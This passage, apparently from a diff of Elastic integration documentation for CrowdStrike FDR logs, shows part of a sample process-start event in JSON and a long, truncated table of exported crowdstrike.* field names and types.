"FirstSeen": "1628678052.0", - "HostHiddenStatus": "Visible", - "MachineDomain": "groot.org", - "OU": "Servers;America;Offices", - "PointerSize": "8", - "ProductType": "3.0", - "ServicePackMajor": "0", - "SiteName": "BCL", - "SystemManufacturer": "Iris", - "SystemProductName": "IrOS", - "Time": "1697992719.22", - "Timezone": "America/Chicago", - "Version": "Windows Server 2021", - "cid": "ffffffff30a3407dae27d0503611022d", - "event_platform": "Win" - }, - "user": { - "AccountType": "Domain User", - "LastLoggedOnHost": "COMPUTER1", - "LocalAdminAccess": "No", - "LogonInfo": "Domain User Logon", - "LogonTime": "1702546155.197", - "LogonType": "Interactive", - "PasswordLastSet": "1699971198.062", - "User": "DOMAIN\\BRADLEYA", - "UserIsAdmin": "0", - "UserLogonFlags_decimal": "0", - "_time": "1702546168.576", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "event_platform": "Win", - "monthsincereset": "1.0" - } - }, - "name": "ProcessRollup2V18" - }, - "data_stream": { - "dataset": "crowdstrike.fdr", - "namespace": "77613", - "type": "logs" - }, - "device": { - "id": "ffffffff655344736aca58d17fb570f0" - }, - "elastic_agent": { - "id": "71e71f16-ae08-46e3-a58e-a7d14e974950", - "snapshot": false, - "version": "8.18.0" - }, - "event": { - "action": "ProcessRollup2", - "agent_id_status": "verified", - "category": [ - "process" - ], - "created": "2020-10-01T09:58:32.519Z", - "dataset": "crowdstrike.fdr", - "id": "ffffffff-1111-11eb-8462-02ade3b2f949|ffffffff655344736aca58d17fb570f0|ffffffff30a3407dae27d0503611022d", - "ingested": "2025-08-27T05:55:29Z", - "kind": "event", - "original": "{\"AuthenticationId\":\"3783389\",\"CommandLine\":\"\\\"C:\\\\WINDOWS\\\\system32\\\\backgroundTaskHost.exe\\\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca\",\"ConfigBuild\":\"1007.3.0012309.1\",\"ConfigStateHash\":\"3998263252\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\backgroundTaskHost.exe\",\"ImageSubsystem\":\"2\",\"IntegrityLevel\":\"4096\",\"MD5HashData\":\"50d5fd1290d94d46acca0585311e74d5\",\"ParentAuthenticationId\":\"3783389\",\"ParentBaseFileName\":\"svchost.exe\",\"ParentProcessId\":\"2439558094566\",\"ProcessCreateFlags\":\"525332\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"16385\",\"ProcessStartTime\":\"1604855181.648\",\"ProcessSxsFlags\":\"1600\",\"RawProcessId\":\"22272\",\"RpcClientProcessId\":\"2439558094566\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37\",\"SessionId\":\"1\",\"SourceProcessId\":\"2439558094566\",\"SourceThreadId\":\"77538684027214\",\"Tags\":\"41, 12094627905582, 12094627906234\",\"TargetProcessId\":\"2450046082233\",\"TokenType\":\"2\",\"UserSid\":\"S-1-12-1-3697283754-1083485977-2164330645-2516515886\",\"WindowFlags\":\"128\",\"aid\":\"ffffffff655344736aca58d17fb570f0\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-8462-02ade3b2f949\",\"name\":\"ProcessRollup2V18\",\"timestamp\":\"1601546312519\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "ip": [ - "16.15.12.10" - ], - "name": "FEVWSN1-234", - "os": { - "type": "windows" - } - }, - "input": { - "type": "aws-s3" - }, - "message": "ProcessRollup2", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff655344736aca58d17fb570f0", - "version": "1007.3.0012309.1" - }, - "process": { - "Ext": { - "token": { - "integrity_level_name": "LOW" - } - }, - "args": [ - "C:\\WINDOWS\\system32\\backgroundTaskHost.exe", - "-ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca" - ], - "args_count": 2, - "command_line": "\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca", - "entity_id": "2450046082233", - "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe", - "hash": { - "md5": "50d5fd1290d94d46acca0585311e74d5", - "sha256": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37" - }, - "name": "backgroundTaskHost.exe", - "parent": { - "entity_id": "2439558094566", - "name": "svchost.exe" - }, - "pid": 22272, - "start": "2020-11-08T17:06:21.648Z" - }, - "related": { - "hash": [ - "50d5fd1290d94d46acca0585311e74d5", - "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37", - "3998263252" - ], - "hosts": [ - "FEVWSN1-234", - "COMPUTER1" - ], - "ip": [ - "67.43.156.14", - "16.15.12.10" - ], - "user": [ - "Alan-One", - "DOMAIN\\BRADLEYA", - "S-1-12-1-3697283754-1083485977-2164330645-2516515886" - ] - }, - "tags": [ - "preserve_original_event", - "forwarded", - "crowdstrike-fdr" - ], - "user": { - "domain": "DOMAIN", - "id": "S-1-12-1-3697283754-1083485977-2164330645-2516515886", - "name": "Alan-One" - } -} -``` - -**Exported fields** - -| Field | Description | Type | -|---|---|---| -| @timestamp | Event timestamp. | date | -| aws.s3.bucket.arn | The AWS S3 bucket ARN. | keyword | -| aws.s3.bucket.name | The AWS S3 bucket name. | keyword | -| aws.s3.object.key | The AWS S3 Object key. | keyword | -| crowdstrike.AccessType | | keyword | -| crowdstrike.AccountDomain | | match_only_text | -| crowdstrike.AccountObjectGuid | | match_only_text | -| crowdstrike.AccountObjectSid | | match_only_text | -| crowdstrike.AccountType | | keyword | -| crowdstrike.ActiveDirectoryAuthenticationMethod | | keyword | -| crowdstrike.ActivityId | | keyword | -| crowdstrike.AddressFamily | | keyword | -| crowdstrike.AdminStatus | | keyword | -| crowdstrike.AgentIdString | | keyword | -| crowdstrike.AgentLoadFlags | | keyword | -| crowdstrike.AgentLocalTime | | date | -| crowdstrike.AgentTimeOffset | | float | -| crowdstrike.AgentVersion | | keyword | -| crowdstrike.AggregateId | | keyword | -| crowdstrike.AllocateVirtualMemoryCount | | long | -| crowdstrike.AllowlistingFilterId | | keyword | -| crowdstrike.AnodeIndicators | | nested | -| crowdstrike.AntiTamperStateFlag | | keyword | -| crowdstrike.ApiReturnValue | | keyword | -| crowdstrike.ApplicationName | | match_only_text | -| crowdstrike.ArchiveFileWrittenCount | | long | -| crowdstrike.AsepClass | | keyword | -| crowdstrike.AsepFlags | | keyword | -| crowdstrike.AsepIndex | | keyword | -| crowdstrike.AsepValueType | | keyword | -| crowdstrike.AsepWrittenCount | | long | -| crowdstrike.AssemblyFlags | | keyword | -| crowdstrike.AssemblyId | | keyword | -| crowdstrike.AssemblyName | | keyword | -| crowdstrike.AssociatedFile | | keyword | -| crowdstrike.Attacks.Tactic | | keyword | -| crowdstrike.Attacks.Technique | | keyword | -| crowdstrike.AttemptNumber | | long | -| crowdstrike.AuthenticationActivityId | | keyword | -| crowdstrike.AuthenticationId | | keyword | -| crowdstrike.AuthenticationPackage | | keyword | -| crowdstrike.AuthenticationUuid | | keyword | -| crowdstrike.AuthenticationUuidAsString | | keyword | -| crowdstrike.AuthenticodeHashData | | keyword | -| crowdstrike.AuthenticodeHashDataSHA256 | | keyword | -| crowdstrike.BaseReachableTime | | keyword | -| crowdstrike.BatchDataNumber | | keyword | -| crowdstrike.BatchDataTotal | | keyword | -| crowdstrike.BatchTimestamp | | date | -| crowdstrike.BinaryExecutableWrittenCount | | long | -| crowdstrike.BiosChanged | | match_only_text | -| crowdstrike.BiosManufacturer | | keyword | -| crowdstrike.BiosReleaseDate | | date | -| crowdstrike.BiosVersion | | keyword | -| crowdstrike.BluetoothClassOfDeviceValue | | match_only_text | -| crowdstrike.BluetoothDeviceAppearanceValue | | match_only_text | -| crowdstrike.BluetoothDeviceModelNumber | | match_only_text | -| crowdstrike.BluetoothDeviceName | | match_only_text | -| crowdstrike.BluetoothServiceName_1 | | match_only_text | -| crowdstrike.BluetoothServiceName_3 | | match_only_text | -| crowdstrike.BluetoothServiceName_4 | | match_only_text | -| crowdstrike.BluetoothServiceName_5 | | match_only_text | -| crowdstrike.BluetoothServiceName_6 | | match_only_text | -| crowdstrike.BluetoothServiceName_7 | | match_only_text | -| crowdstrike.BluetoothServiceName_8 | | match_only_text | -| crowdstrike.BluetoothServiceUuidArray | | match_only_text | -| crowdstrike.BluetoothServiceUuid_1 | | match_only_text | -| crowdstrike.BluetoothServiceUuid_2 | | match_only_text | -| crowdstrike.BluetoothServiceUuid_3 | | match_only_text | -| crowdstrike.BluetoothServiceUuid_4 | | match_only_text | -| crowdstrike.BluetoothServiceUuid_5 | | match_only_text | -| crowdstrike.BluetoothServiceUuid_6 | | match_only_text | -| crowdstrike.BluetoothServiceUuid_7 | | match_only_text | -| crowdstrike.BluetoothServiceUuid_8 | | match_only_text | -| crowdstrike.BluetoothVendorIdSource | | match_only_text | -| crowdstrike.BootArgs | | keyword | -| crowdstrike.BootTimeFunctionalityLevel | | keyword | -| crowdstrike.BoundedCount | | long | -| crowdstrike.BoundingLimitCount | | long | -| crowdstrike.BoundingLimitDuration | | keyword | -| crowdstrike.BrowserExtensionId | | keyword | -| crowdstrike.BrowserExtensionInstallMethod | | keyword | -| crowdstrike.BrowserExtensionStatusEnabled | | keyword | -| crowdstrike.BrowserFileHash | | keyword | -| crowdstrike.BrowserFilePath | | keyword | -| crowdstrike.BrowserName | | keyword | -| crowdstrike.BrowserProfileId | | keyword | -| crowdstrike.BrowserProfileName | | keyword | -| crowdstrike.BrowserVersion | | keyword | -| crowdstrike.BundleID | | keyword | -| crowdstrike.CLICreationCount | | long | -| crowdstrike.CNAMERecords | | keyword | -| crowdstrike.CallStackModuleNames | | keyword | -| crowdstrike.CallStackModuleNamesVersion | | version | -| crowdstrike.CapPrm | | keyword | -| crowdstrike.CertificateIssuer | | keyword | -| crowdstrike.CertificatePublisher | | keyword | -| crowdstrike.CertificateSignatureHash | | keyword | -| crowdstrike.CertificateSignatureHashAlgorithm | | keyword | -| crowdstrike.ChangeId | | keyword | -| crowdstrike.ChangeTime | | date | -| crowdstrike.ChangedPcrBitmap | | match_only_text | -| crowdstrike.ChannelDiffStatus | | keyword | -| crowdstrike.ChannelId | | keyword | -| crowdstrike.ChannelVersion | | keyword | -| crowdstrike.ChannelVersionRequired | | keyword | -| crowdstrike.ChasisManufacturer | | keyword | -| crowdstrike.ChassisType | | keyword | -| crowdstrike.ClientComputerName | | keyword | -| crowdstrike.ClientId | | match_only_text | -| crowdstrike.ClientProcessStartKey | | keyword | -| crowdstrike.CloudIndicator | | boolean | -| crowdstrike.CommandCount | | match_only_text | -| crowdstrike.CommandCountMax | | match_only_text | -| crowdstrike.CommandHistory | | keyword | -| crowdstrike.CommandHistory.text | Multi-field of `crowdstrike.CommandHistory`. | match_only_text | -| crowdstrike.CompanyName | | keyword | -| crowdstrike.CompletionEventId | | keyword | -| crowdstrike.CompositeId | Global unique identifier that identifies a unique alert. | keyword | -| crowdstrike.ConHostId | | keyword | -| crowdstrike.ConHostProcessId | | keyword | -| crowdstrike.ConfigBuild | | keyword | -| crowdstrike.ConfigIDBase | | keyword | -| crowdstrike.ConfigIDBuild | | keyword | -| crowdstrike.ConfigIDPlatform | | keyword | -| crowdstrike.ConfigStateData | | text | -| crowdstrike.ConfigStateHash | | keyword | -| crowdstrike.ConfigurationDescriptorName | | match_only_text | -| crowdstrike.ConfigurationVersion | | keyword | -| crowdstrike.ConnectTime | | date | -| crowdstrike.ConnectType | | keyword | -| crowdstrike.ConnectionAddressIP6 | | match_only_text | -| crowdstrike.ConnectionFlags | | keyword | -| crowdstrike.ConnectionType | | keyword | -| crowdstrike.ContentDiff.Exists | | boolean | -| crowdstrike.ContentPatternCounts | | nested | -| crowdstrike.ContentPatterns.ConfidenceLevel | | long | -| crowdstrike.ContentPatterns.ID | | keyword | -| crowdstrike.ContentPatterns.MatchCount | | long | -| crowdstrike.ContentPatterns.Name | | keyword | -| crowdstrike.ContentSHA256HashData | | keyword | -| crowdstrike.ContextBaseFileName | | keyword | -| crowdstrike.ContextImageFileName | | keyword | -| crowdstrike.ContextProcessId | | keyword | -| crowdstrike.ContextProcessTagsAsString | | keyword | -| crowdstrike.ContextTimeStamp | System local time of event creation. | date | -| crowdstrike.CpuClockSpeed | | keyword | -| crowdstrike.CpuFeaturesMask | | keyword | -| crowdstrike.CpuProcessorName | | keyword | -| crowdstrike.CpuSignature | | keyword | -| crowdstrike.CpuVendor | | keyword | -| crowdstrike.CreateProcessCount | | long | -| crowdstrike.CreateProcessType | | keyword | -| crowdstrike.CurrentFunctionalityLevel | | keyword | -| crowdstrike.CurrentLocalIP | | ip | -| crowdstrike.CustomerIdString | | keyword | -| crowdstrike.CycleTime | | long | -| crowdstrike.DadState | | keyword | -| crowdstrike.DadTransmits | | keyword | -| crowdstrike.Data1 | | keyword | -| crowdstrike.DataDomains | | keyword | -| crowdstrike.DcNumAttachments | | match_only_text | -| crowdstrike.DcNumBlockingPolicies | | match_only_text | -| crowdstrike.Description | | keyword | -| crowdstrike.DesiredAccess | | keyword | -| crowdstrike.Destination | | nested | -| crowdstrike.Destination.Channel | | keyword | -| crowdstrike.DetectDescription | | keyword | -| crowdstrike.DetectId | | keyword | -| crowdstrike.DetectName | | keyword | -| crowdstrike.DetectionType | | keyword | -| crowdstrike.DeviceId | | keyword | -| crowdstrike.DeviceMountCounter | | long | -| crowdstrike.DevicePropertyClassGuid | | match_only_text | -| crowdstrike.DevicePropertyClassName | | match_only_text | -| crowdstrike.DevicePropertyLocationInformation | | match_only_text | -| crowdstrike.DirectionType | | keyword | -| crowdstrike.DirectoryCreatedCount | | long | -| crowdstrike.DirectoryEnumeratedCount | | long | -| crowdstrike.DllCharacteristics | | keyword | -| crowdstrike.DnsRequestCount | | long | -| crowdstrike.DnsRequests | Detected DNS requests done by a process. | nested | -| crowdstrike.DnsResponseType | | keyword | -| crowdstrike.DocumentFileWrittenCount | | long | -| crowdstrike.DomainSid | | keyword | -| crowdstrike.DotnetModuleFlags | | keyword | -| crowdstrike.DotnetModuleId | | keyword | -| crowdstrike.DownloadPath | | keyword | -| crowdstrike.DownloadPort | | long | -| crowdstrike.DownloadServer | | keyword | -| crowdstrike.DriverLoadFlags | | keyword | -| crowdstrike.DualRequest | | keyword | -| crowdstrike.DylibPath | | match_only_text | -| crowdstrike.ELFSubType | | keyword | -| crowdstrike.EffectiveTransmissionClass | | keyword | -| crowdstrike.EfiVariableCustomModeAttributes | | match_only_text | -| crowdstrike.EfiVariableDbAttributes | | match_only_text | -| crowdstrike.EfiVariableDbSha256Hash | | match_only_text | -| crowdstrike.EfiVariableKekAttributes | | match_only_text | -| crowdstrike.EfiVariableKekSha256Hash | | match_only_text | -| crowdstrike.EfiVariablePkAttributes | | match_only_text | -| crowdstrike.EfiVariablePkSha256Hash | | match_only_text | -| crowdstrike.EfiVariableSecureBootAttributes | | match_only_text | -| crowdstrike.EfiVariableSetupMode | | match_only_text | -| crowdstrike.EfiVariableSetupModeAttributes | | match_only_text | -| crowdstrike.EfiVariableSignatureSupport | | match_only_text | -| crowdstrike.EfiVariableSignatureSupportAttributes | | match_only_text | -| crowdstrike.EgressEventId | | keyword | -| crowdstrike.EgressSessionId | | keyword | -| crowdstrike.EnabledPrivilegesBitmask | | keyword | -| crowdstrike.EndTime | | date | -| crowdstrike.Entitlements | | keyword | -| crowdstrike.EnvironmentVariableName | | keyword | -| crowdstrike.EnvironmentVariableValue | | keyword | -| crowdstrike.EnvironmentVariablesString | | match_only_text | -| crowdstrike.ErrorCode | | keyword | -| crowdstrike.ErrorStatus | | keyword | -| crowdstrike.EtwProviderType | | keyword | -| crowdstrike.EtwRawProcessId | | long | -| crowdstrike.EtwRawRpcClientProcessId | | keyword | -| crowdstrike.EtwRawThreadId | | long | -| crowdstrike.EventCorrelationId | | keyword | -| crowdstrike.EventOrigin | | integer | -| crowdstrike.EventTimestamp | | date | -| crowdstrike.EventType | | keyword | -| crowdstrike.EventUUID | | keyword | -| crowdstrike.ExceptionAddress | | keyword | -| crowdstrike.ExceptionCode | | keyword | -| crowdstrike.ExceptionInformation0 | | keyword | -| crowdstrike.ExclusionSource | | keyword | -| crowdstrike.ExclusionType | | keyword | -| crowdstrike.ExeAndServiceCount | | long | -| crowdstrike.ExecutableBytes | | match_only_text | -| crowdstrike.ExecutableDeletedCount | | long | -| crowdstrike.ExtendedAttributeValue | | match_only_text | -| crowdstrike.ExtendedAttributeValueReadable | | match_only_text | -| crowdstrike.ExtendedKeyUsages | | keyword | -| crowdstrike.ExternalApiType | | keyword | -| crowdstrike.FXFileSize | | keyword | -| crowdstrike.Facility | | keyword | -| crowdstrike.FailedConnectCount | | long | -| crowdstrike.FalconGroupingTags | | keyword | -| crowdstrike.FalconHostLink | | keyword | -| crowdstrike.FeatureExtractionVersion | | keyword | -| crowdstrike.FeatureVector | | match_only_text | -| crowdstrike.File | | keyword | -| crowdstrike.FileAttributes | | keyword | -| crowdstrike.FileAttributesNew | | keyword | -| crowdstrike.FileAttributesPrevious | | keyword | -| crowdstrike.FileCategory | | keyword | -| crowdstrike.FileCategoryCounts | | nested | -| crowdstrike.FileContent | | match_only_text | -| crowdstrike.FileDeletedCount | | long | -| crowdstrike.FileEcpBitmask | | keyword | -| crowdstrike.FileName | | keyword | -| crowdstrike.FileObject | | keyword | -| crowdstrike.FileOperatorSid | | keyword | -| crowdstrike.FilePath | | keyword | -| crowdstrike.FileSigningTime | | keyword | -| crowdstrike.FileSubType | | keyword | -| crowdstrike.FileSystemOperationType | | keyword | -| crowdstrike.FileType.Type.CategoryID | | keyword | -| crowdstrike.FileType.Type.CategoryName | | keyword | -| crowdstrike.FileType.Type.Description | | keyword | -| crowdstrike.FileType.Type.ID | | keyword | -| crowdstrike.FileType.Type.Name | | keyword | -| crowdstrike.FileVaultIsEnabled | | match_only_text | -| crowdstrike.FileVersion | | keyword | -| crowdstrike.FileWrittenFlags | | keyword | -| crowdstrike.FilesAccessed.FileName | | keyword | -| crowdstrike.FilesAccessed.FilePath | | keyword | -| crowdstrike.FilesAccessed.Timestamp | | date | -| crowdstrike.FilesEgressedCount | | long | -| crowdstrike.FilesWritten.FileName | | keyword | -| crowdstrike.FilesWritten.FilePath | | keyword | -| crowdstrike.FilesWritten.Timestamp | | date | -| crowdstrike.FirewallAction | | keyword | -| crowdstrike.FirewallOption | | keyword | -| crowdstrike.FirewallOptionNumericValue | | keyword | -| crowdstrike.FirewallProfile | | keyword | -| crowdstrike.FirewallRule | | keyword | -| crowdstrike.FirewallRuleId | | keyword | -| crowdstrike.FirmwareAnalysisEclConsumerInterfaceVersion | | keyword | -| crowdstrike.FirmwareAnalysisEclControlInterfaceVersion | | keyword | -| crowdstrike.FirstCommand | | match_only_text | -| crowdstrike.FirstDiscoveredDate | | date | -| crowdstrike.FirstIP4Record | | keyword | -| crowdstrike.FirstSeen | | date | -| crowdstrike.FixedFileVersion | | keyword | -| crowdstrike.Flags | | keyword | -| crowdstrike.FltCallbackData | | keyword | -| crowdstrike.FltCompletionContext | | keyword | -| crowdstrike.FltRelatedObjects | | keyword | -| crowdstrike.FontBuffer | | keyword | -| crowdstrike.FontBufferLength | | keyword | -| crowdstrike.FontFileCount | | long | -| crowdstrike.FontFileName | | keyword | -| crowdstrike.FontLoadOperation | | keyword | -| crowdstrike.FsOperationClassification | | keyword | -| crowdstrike.FsOperationClassificationFlags | | keyword | -| crowdstrike.FullExceptionRecord | | keyword | -| crowdstrike.GenericFileWrittenCount | | long | -| crowdstrike.GrandParentBaseFileName | | keyword | -| crowdstrike.GrandparentCommandLine | | keyword | -| crowdstrike.GrandparentCommandLine.text | Multi-field of `crowdstrike.GrandparentCommandLine`. | match_only_text | -| crowdstrike.GrandparentImageFileName | | keyword | -| crowdstrike.GrandparentImageFilePath | | keyword | -| crowdstrike.GrandparentProcessId | | keyword | -| crowdstrike.GroupRid | | keyword | -| crowdstrike.HandleCreateAuthenticationId | | keyword | -| crowdstrike.HandleCreated | | keyword | -| crowdstrike.HandleOperationType | | keyword | -| crowdstrike.HashAlgorithm | | keyword | -| crowdstrike.HostGroups | | keyword | -| crowdstrike.HostHiddenStatus | | keyword | -| crowdstrike.HostProcessType | | keyword | -| crowdstrike.HttpInternalSource | | match_only_text | -| crowdstrike.HttpMethod | | match_only_text | -| crowdstrike.HttpRequestHeader | | match_only_text | -| crowdstrike.HttpUrl | | match_only_text | -| crowdstrike.IOCType | | keyword | -| crowdstrike.IOCValue | | keyword | -| crowdstrike.IOServiceClass | | keyword | -| crowdstrike.IOServiceName | | keyword | -| crowdstrike.IOServicePath | | keyword | -| crowdstrike.IP4Records | | keyword | -| crowdstrike.IcmpCode | | keyword | -| crowdstrike.IcmpType | | keyword | -| crowdstrike.IfType | | keyword | -| crowdstrike.ImageBaseName | | keyword | -| crowdstrike.ImageCheckSum | | keyword | -| crowdstrike.ImageEntryPoint | | keyword | -| crowdstrike.ImageFileName | | keyword | -| crowdstrike.ImageSignatureLevel | | keyword | -| crowdstrike.ImageSignatureType | | keyword | -| crowdstrike.ImageSubsystem | | keyword | -| crowdstrike.ImageTimeStamp | | keyword | -| crowdstrike.ImpersonatedUserName | | keyword | -| crowdstrike.InBroadcastOctets | | keyword | -| crowdstrike.InContext | | keyword | -| crowdstrike.InDiscards | | keyword | -| crowdstrike.InErrors | | keyword | -| crowdstrike.InMulticastOctets | | keyword | -| crowdstrike.InMulticastPkts | | keyword | -| crowdstrike.InNUcastPkts | | keyword | -| crowdstrike.InOctets | | keyword | -| crowdstrike.InUcastOctets | | keyword | -| crowdstrike.InUcastPkts | | keyword | -| crowdstrike.InUnknownProtos | | keyword | -| crowdstrike.IndividualDiskInfo | | match_only_text | -| crowdstrike.Information | | keyword | -| crowdstrike.InjectedDll | | keyword | -| crowdstrike.InjectedDllCount | | long | -| crowdstrike.InjectedThreadCount | | long | -| crowdstrike.InjectedThreadFlag | | keyword | -| crowdstrike.InstanceMetadata | | match_only_text | -| crowdstrike.InstanceMetadataSignature | | match_only_text | -| crowdstrike.IntegrityLevel | | keyword | -| crowdstrike.InterfaceAlias | | keyword | -| crowdstrike.InterfaceDescription | | keyword | -| crowdstrike.InterfaceFlags | | keyword | -| crowdstrike.InterfaceGuid | | keyword | -| crowdstrike.InterfaceIdentifier | | keyword | -| crowdstrike.InterfaceIndex | | long | -| crowdstrike.InterfaceKind | | match_only_text | -| crowdstrike.InterfaceMtu | | keyword | -| crowdstrike.InterfaceType | | keyword | -| crowdstrike.InterfaceVersion | | keyword | -| crowdstrike.IpEntryFlags | | keyword | -| crowdstrike.IrpFlags | | keyword | -| crowdstrike.IsClipboard | | boolean | -| crowdstrike.IsEBPF | | keyword | -| crowdstrike.IsFromDifferentMountNamespace | | keyword | -| crowdstrike.IsHosted | | keyword | -| crowdstrike.IsOnNetwork | | keyword | -| crowdstrike.IsOnRemovableDisk | | keyword | -| crowdstrike.IsProcessInitializing | | keyword | -| crowdstrike.IsTransactedFile | | keyword | -| crowdstrike.IsUnique | | keyword | -| crowdstrike.KernelTime | | long | -| crowdstrike.KeyObject | | match_only_text | -| crowdstrike.LanguageId | | keyword | -| crowdstrike.LastAdded | | match_only_text | -| crowdstrike.LastDiscoveredBy | | keyword | -| crowdstrike.LastDisplayed | | match_only_text | -| crowdstrike.LastLoggedOnHost | | keyword | -| crowdstrike.LastPendingUpdateInstalledTime | | match_only_text | -| crowdstrike.LaunchItemType | | match_only_text | -| crowdstrike.LaunchItemUrl | | match_only_text | -| crowdstrike.LdapSearchFilterSample | | match_only_text | -| crowdstrike.LfoUploadFlags | | keyword | -| crowdstrike.LightningLatencyState | | keyword | -| crowdstrike.Line | | keyword | -| crowdstrike.LinkLocalAddressBehavior | | keyword | -| crowdstrike.LinkLocalAddressTimeout | | keyword | -| crowdstrike.LocalAddressIP4 | | ip | -| crowdstrike.LocalAddressIP6 | | ip | -| crowdstrike.LocalAddressMaskIP4 | | keyword | -| crowdstrike.LocalAddressMaskIP6 | | keyword | -| crowdstrike.LocalAdminAccess | | keyword | -| crowdstrike.LocalIP | | ip | -| crowdstrike.LocalIPv6 | | ip | -| crowdstrike.LocalIpAddressPipelineSource | | keyword | -| crowdstrike.LogicalCoreCount | | long | -| crowdstrike.LoginSessionId | | keyword | -| crowdstrike.LogoffTime | | date | -| crowdstrike.LogonDomain | | keyword | -| crowdstrike.LogonId | | keyword | -| crowdstrike.LogonInfo | | keyword | -| crowdstrike.LogonServer | | keyword | -| crowdstrike.LogonTime | | date | -| crowdstrike.LogonType | | keyword | -| crowdstrike.MACAddress | | keyword | -| crowdstrike.MACPrefix | | keyword | -| crowdstrike.MD5HashData | | keyword | -| crowdstrike.MD5String | | keyword | -| crowdstrike.MLModelVersion | | keyword | -| crowdstrike.MachOSubType | | keyword | -| crowdstrike.MajorFunction | | keyword | -| crowdstrike.MajorVersion | | keyword | -| crowdstrike.Malicious | | keyword | -| crowdstrike.ManagedPdbBuildPath | | match_only_text | -| crowdstrike.MappedFromUserMode | | keyword | -| crowdstrike.MatchedClassification.ID | | keyword | -| crowdstrike.MatchedClassification.Name | | keyword | -| crowdstrike.MaxReassemblySize | | keyword | -| crowdstrike.MaxRouterAdvertisementInterval | | keyword | -| crowdstrike.MaxThreadCount | | long | -| crowdstrike.MediaConnectState | | keyword | -| crowdstrike.MediaType | | keyword | -| crowdstrike.MemoryAvailable | | match_only_text | -| crowdstrike.MemoryTotal | | keyword | -| crowdstrike.Metric | | keyword | -| crowdstrike.MicrocodeSignature | | keyword | -| crowdstrike.MinRouterAdvertisementInterval | | keyword | -| crowdstrike.MinorFunction | | keyword | -| crowdstrike.MinorVersion | | keyword | -| crowdstrike.MmioDataGenPmconB | | match_only_text | -| crowdstrike.MmioDataSmiEn | | match_only_text | -| crowdstrike.MmioDataTco1Cnt | | match_only_text | -| crowdstrike.MoboManufacturer | | keyword | -| crowdstrike.MoboProductName | | keyword | -| crowdstrike.ModelPrediction | | keyword | -| crowdstrike.ModuleCharacteristics | | keyword | -| crowdstrike.ModuleILPath | | keyword | -| crowdstrike.ModuleLoadCount | | long | -| crowdstrike.ModuleLoadTelemetryClassification | | keyword | -| crowdstrike.ModuleSize | | keyword | -| crowdstrike.MountedVolumeAction | | keyword | -| crowdstrike.NDRoot | | keyword | -| crowdstrike.NegateInterface | | keyword | -| crowdstrike.NegateLocalAddress | | keyword | -| crowdstrike.NegateRemoteAddress | | keyword | -| crowdstrike.NeighborList | | keyword | -| crowdstrike.NeighborName | | keyword | -| crowdstrike.NetLuidIndex | | long | -| crowdstrike.NetworkAccesses.AccessTimestamp | | keyword | -| crowdstrike.NetworkAccesses.AccessType | | keyword | -| crowdstrike.NetworkAccesses.ConnectionDirection | | keyword | -| crowdstrike.NetworkAccesses.IsIPV6 | | keyword | -| crowdstrike.NetworkAccesses.LocalAddress | | keyword | -| crowdstrike.NetworkAccesses.LocalPort | | keyword | -| crowdstrike.NetworkAccesses.Protocol | | keyword | -| crowdstrike.NetworkAccesses.RemoteAddress | | keyword | -| crowdstrike.NetworkAccesses.RemotePort | | keyword | -| crowdstrike.NetworkBindCount | | long | -| crowdstrike.NetworkCapableAsepWriteCount | | long | -| crowdstrike.NetworkCloseCount | | long | -| crowdstrike.NetworkConnectCount | | long | -| crowdstrike.NetworkConnectCountUdp | | long | -| crowdstrike.NetworkContainmentState | | keyword | -| crowdstrike.NetworkGuid | | keyword | -| crowdstrike.NetworkInterfaceGuid | | keyword | -| crowdstrike.NetworkListenCount | | long | -| crowdstrike.NetworkModuleLoadCount | | long | -| crowdstrike.NetworkRecvAcceptCount | | long | -| crowdstrike.NewExecutableWrittenCount | | long | -| crowdstrike.NewFileAttributesLinux | | keyword | -| crowdstrike.NewFileIdentifier | | keyword | -| crowdstrike.NewUnixPermissions | | keyword | -| crowdstrike.NlMtu | | keyword | -| crowdstrike.Nonce | | unsigned_long | -| crowdstrike.OSVersionFileData | | match_only_text | -| crowdstrike.OSVersionFileName | | keyword | -| crowdstrike.OU | | keyword | -| crowdstrike.Object1Type | | keyword | -| crowdstrike.ObjectAccessOperationType | | keyword | -| crowdstrike.ObjectNameEtw | | match_only_text | -| crowdstrike.ObjectType | | keyword | -| crowdstrike.ObjectTypeEtw | | match_only_text | -| crowdstrike.Objective | | keyword | -| crowdstrike.OciContainerAppName | | match_only_text | -| crowdstrike.OciContainerAppVersion | | match_only_text | -| crowdstrike.OciContainerConfigImage | | match_only_text | -| crowdstrike.OciContainerConfigLabels | | match_only_text | -| crowdstrike.OciContainerConfigTty | | match_only_text | -| crowdstrike.OciContainerConfigUser | | match_only_text | -| crowdstrike.OciContainerEngineType | | match_only_text | -| crowdstrike.OciContainerHostConfigCgroup | | match_only_text | -| crowdstrike.OciContainerHostConfigDevices | | match_only_text | -| crowdstrike.OciContainerHostConfigOomKillDisable | | match_only_text | -| crowdstrike.OciContainerHostConfigPrivileged | | match_only_text | -| crowdstrike.OciContainerHostConfigPublishAllPorts | | match_only_text | -| crowdstrike.OciContainerHostConfigReadOnlyRootfs | | match_only_text | -| crowdstrike.OciContainerId | | match_only_text | -| crowdstrike.OciContainerImageId | | match_only_text | -| 